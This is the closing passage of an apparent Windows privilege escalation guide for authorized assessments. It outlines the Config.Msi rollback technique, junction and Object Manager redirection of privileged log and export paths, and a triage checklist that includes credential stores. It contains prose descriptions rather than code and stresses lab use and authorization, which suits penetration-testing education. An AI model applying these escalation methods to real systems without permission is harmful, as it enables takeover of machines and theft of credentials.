MSI rollback concept

At a high level, the Config.Msi technique:

1. forces Windows Installer to create rollback files;
2. pauses the installer at a deterministic point;
3. uses an arbitrary folder-delete primitive to remove C:\Config.Msi;
4. recreates it with attacker-controlled permissions;
5. retains a handle while the installer restores restrictive ACLs;
6. substitutes rollback script/data files;
7. causes SYSTEM to restore attacker-controlled content into a protected location.

If the available primitive deletes only files, researchers have targeted the directory’s ::$INDEX_ALLOCATION stream so the operation removes the directory metadata. If the primitive deletes only the contents of an attacker-controlled folder, an oplock plus junction and Object Manager link may redirect the deletion to that stream.

This is a lab technique with a real risk of corrupting Windows Installer state or protected files. Snapshot the VM first, instrument every path resolution with Procmon, and use a harmless protected destination for validation.

Privileged log and export paths

When a SYSTEM service reads a writable configuration value for a log, report, or export destination, test whether junctions and Object Manager links can redirect the final open to another file. Confirm:

• the configuration is writable by the current user;
• the service opens the path with a mode that overwrites or creates content;
• path canonicalization occurs before or after impersonation;
• the target file is opened by the privileged service, not by a broker running as the user.

Avoid destructive proof targets such as boot-critical drivers. Demonstrate the primitive against a disposable protected file agreed in the rules of engagement.

9.12 Fast Triage Checklist

[ ] Exact Windows edition, build, architecture, and hotfixes
[ ] Current identity, integrity level, token privileges, and groups
[ ] Defender/EDR, PowerShell logging, audit policy, and WEF
[ ] Services: ACLs, binary/parent ACLs, registry ACLs, triggers, failures
[ ] Scheduled tasks, autoruns, COM registrations, plugins, and updaters
[ ] Loopback TCP/UDP listeners and named-pipe/RPC endpoints
[ ] Installed product and driver versions matched to advisories
[ ] Writable PATH, DLL search, Node/Electron module, and plugin paths
[ ] WSUS URL, enablement, proxy, and certificate-trust configuration
[ ] Credential Manager, PasswordVault, DPAPI, history, configs, cloud CLIs
[ ] WSL distributions, mounts, interop, and exposed Windows credentials
[ ] Inherited handles and privileged client connections to controllable pipes
[ ] Any delete/move/create/write primitive mapped to a safe proof target

References and Tools

This guide represents the state of Windows privilege escalation techniques as of September 2026. Always verify techniques in a controlled environment before use in production assessments. Ensure proper authorization before testing any systems.